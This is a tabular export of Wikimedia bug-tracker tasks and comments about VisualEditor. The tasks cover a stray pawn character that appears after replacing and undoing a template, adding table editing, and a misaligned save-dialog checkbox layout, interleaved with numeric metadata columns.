Goto http://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit

1. Click on infobox
2. Hit the ""a"" key
3. Hit ctrl+z

Repeat steps 1-3 as long as necessary (about 1-6 times)

Current result:

Instead of being restored on ctrl+z, sometimes the infobox is replaced by a pawn.
The article begins with ""♙The Binding of Isaac"" then.

Also, ctrl+z should probably also restore the selection, so I think it's another bugh that you have to repeat step 1 every time.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52113",High,80.0,1375009500,1403060346.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_description,resolved,True,c1,3,False,False,False,3,,0.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,5.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,4.0,1.0,13.5,0.0,0.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,5.0,4.5,0.0,2.5,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.239170677526842,0.6531840059237319,"**Author:** CODE

**Description:**
To reproduce:

Goto URL

1. Click on infobox
2. Hit the ""a"" key
3. Hit ctrl+z

Repeat steps 1-3 as long as necessary (about 1-6 times)

Current result:

Instead of being restored on ctrl+z, sometimes the infobox is replaced by a pawn.
The article begins with ""♙The Binding of Isaac"" then.

Also, ctrl+z should probably also restore the selection, so I think it's another bugh that you have to repeat step 1 every time.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
244354,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"Pressing anything other than delete no longer does anything for me, which seems sensible.",,,1402837149,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,49,,0.0,12.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,4.75,0.9375,"Pressing anything other than delete no longer does anything for me, which seems sensible."
244347,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Bumping; this is happening 100% of the time now.,,,1394224211,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.3333333333333335,1.0,Bumping; this is happening 100% of the time now.
244340,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan.haas** wrote:

Using the current Firefox 27 alpha (Aurora build), the problem seems to be much worse, as the pawn appears reliably in step 2 just after pressing ""a"". Maybe it's a different issue, but maybe it helps debugging this one.

TBH, this pawn stuff seems to be very weird and unstable to me. Why can they appear in the first place?",,,1383600380,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,18,,1.0,0.0,1.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,5.0,9.0,4.0,1.0,2.0,0.0,5.0,0.0,1.0,2.0,1.0,4.0,1.0,0.0,0.0,3.548780487804878,0.7317073170731707,"**jonathan.haas** wrote:

Using the current Firefox 27 alpha (Aurora build), the problem seems to be much worse, as the pawn appears reliably in step 2 just after pressing ""a"". Maybe it's a different issue, but maybe it helps debugging this one.

TBH, this pawn stuff seems to be very weird and unstable to me. Why can they appear in the first place?"
244333,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"I can occasionally reproduce this in Chrome and Firefox, but not reliably (roughly 1 in 10 replacements). Race condition on the change stack or something?",,,1383586954,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,18,,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,10.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9666666666666667,"I can occasionally reproduce this in Chrome and Firefox, but not reliably (roughly 1 in 10 replacements). Race condition on the change stack or something?"
244325,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**p.selitskas** wrote:

I could reproduce this with cyrillic letters in be-x-old.wikipedia.org, at least a few weeks ago.",,,1376489457,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.24,0.88,"**p.selitskas** wrote:

I could reproduce this with cyrillic letters in be-x-old.wikipedia.org, at least a few weeks ago."
244318,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),I can't reproduce after about 20 tries in Firefox 23/Linux/Monobook,,,1376488978,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,13.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,0.9333333333333333,I can't reproduce after about 20 tries in Firefox 23/Linux/Monobook
244313,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan_haas** wrote:

Screenshot

Also managed to reproduce in Chrome 28.

No error in javascript console in both browsers.

**Attached**: {F11523}",,,1376488730,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5789473684210527,0.631578947368421,"**jonathan_haas** wrote:

Screenshot

Also managed to reproduce in Chrome 28.

No error in javascript console in both browsers.

**Attached**: {F11523}"
244307,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan_haas** wrote:

I still can (FF23). Just managed on first try.",,,1376488379,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8095238095238095,"**jonathan_haas** wrote:

I still can (FF23). Just managed on first try."
244301,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Can't reproduce in Chrome or FF,,,1376488242,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Can't reproduce in Chrome or FF
244295,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),This is possibly bug 51532,,,1375059258,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,This is possibly bug 51532
244291,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Reproduced; I havent looked to see if this scenario has been reported already.,,,1375049196,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Reproduced; I havent looked to see if this scenario has been reported already.
54181,"Be able to add or remove tables, table rows and table columns","**Author:** `jonathan_haas`

**Description:**
I can't find a possible way to add or edit tables, except changing the content of cells.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52641",High,80.0,1375007700,1414522013.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2klcawe4zbxemkcjvd56,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.278688524590164,0.5901639344262295,"**Author:** CODE

**Description:**
I can't find a possible way to add or edit tables, except changing the content of cells.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
244077,"Be able to add or remove tables, table rows and table columns",post-deploy testing in test2 - VisualEditor has added functiona lity to insert/remove tables and modify tables - insert columns and rows  in tables.,,,1415230310,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.344827586206897,0.7586206896551724,post-deploy testing in test2 - VisualEditor has added functiona lity to insert/remove tables and modify tables - insert columns and rows  in tables.
244074,"Be able to add or remove tables, table rows and table columns",Done in gerrit 159310 and related stack.,,,1414522013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Done in gerrit 159310 and related stack.
244068,"Be able to add or remove tables, table rows and table columns","Swedish Wikipedian Sebbes333 [1] reports here [2] that he ""would like to insert a new column in a 2D table, [however] do not think it will go into beta editor yet."" 

[1]
https://sv.wikipedia.org/wiki/Anv%C3%A4ndare:Sebbes333

[2]
https://sv.wikipedia.org/wiki/Wikipedia:VisualEditor/%C3%85terkoppling#Infoga_ny_kolumn_i_en_2D_tabell_i_beta_redigeraren.",,,1381788601,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,2.8679245283018866,0.7169811320754716,"Swedish Wikipedian Sebbes333 [1] reports here [2] that he ""would like to insert a new column in a 2D table, [however] do not think it will go into beta editor yet."" 

[1]
URL

[2]
URL"
244063,"Be able to add or remove tables, table rows and table columns",*** Bug 53325 has been marked as a duplicate of this bug. ***,,,1377528014,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53325 has been marked as a duplicate of this bug. ***
244058,"Be able to add or remove tables, table rows and table columns","Ok, will move it elsewhere. Thanks.",,,1375954624,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8888888888888888,"Ok, will move it elsewhere. Thanks."
244054,"Be able to add or remove tables, table rows and table columns","**jonathan_haas** wrote:

(In reply to comment #2)
> <<I was editing my userpage with VE today, and I noticed that, in the part
> of a
> table with an empty cell, VE seemed to move the two pipes inside the cell on
> the left, and the empty cell didn't show. -- t numbermaniac c 03:02, 6 August
> 2013 (UTC)>> (first line of the Redirect table in
> http://en.wikipedia.org/wiki/User:Numbermaniac?veaction=edit ).

Confirmed, but I think this deserves another, separate bug report.",,,1375954522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,5.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6428571428571429,"**jonathan_haas** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Confirmed, but I think this deserves another, separate bug report."
244051,"Be able to add or remove tables, table rows and table columns","<<I was editing my userpage with VE today, and I noticed that, in the part of a table with an empty cell, VE seemed to move the two pipes inside the cell on the left, and the empty cell didn't show. -- t numbermaniac c 03:02, 6 August 2013 (UTC)>> (first line of the Redirect table in http://en.wikipedia.org/wiki/User:Numbermaniac?veaction=edit ).",,,1375954013,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,11.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,4.0,14.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,5.0,3.1486486486486487,0.6756756756756757,"<<I was editing my userpage with VE today, and I noticed that, in the part of a table with an empty cell, VE seemed to move the two pipes inside the cell on the left, and the empty cell didn't show. -- t numbermaniac c 03:02, 6 August 2013 (UTC)>> (first line of the Redirect table in URL )."
244047,"Be able to add or remove tables, table rows and table columns",I couldnt find another bug for creating tables.,,,1375049900,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,1.0,I couldnt find another bug for creating tables.
54175,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","screenshot

When using German language (on German and English Wikipedia, but also likely everywhere else), the layout of the minor changes & watchlist checkboxes on the save dialog is not appropriate when viewed in Firefox.  Attached is Vector; same problem exists in Monobook.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52176

//attachment VE_de_Firefox_save_dialog .png ignored as obsolete//",High,80.0,1374996540,1384842507.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-q3emmq6fhgusggcncftz,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,4.436781609195402,0.6896551724137931,"screenshot

When using German language (on German and English Wikipedia, but also likely everywhere else), the layout of the minor changes & watchlist checkboxes on the save dialog is not appropriate when viewed in Firefox.  Attached is Vector; same problem exists in Monobook.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

//attachment VE_de_Firefox_save_dialog .png ignored as obsolete//"
243771,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",The line-height is too large and the second line is offset to left.,,,1384857530,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.875,The line-height is too large and the second line is offset to left.
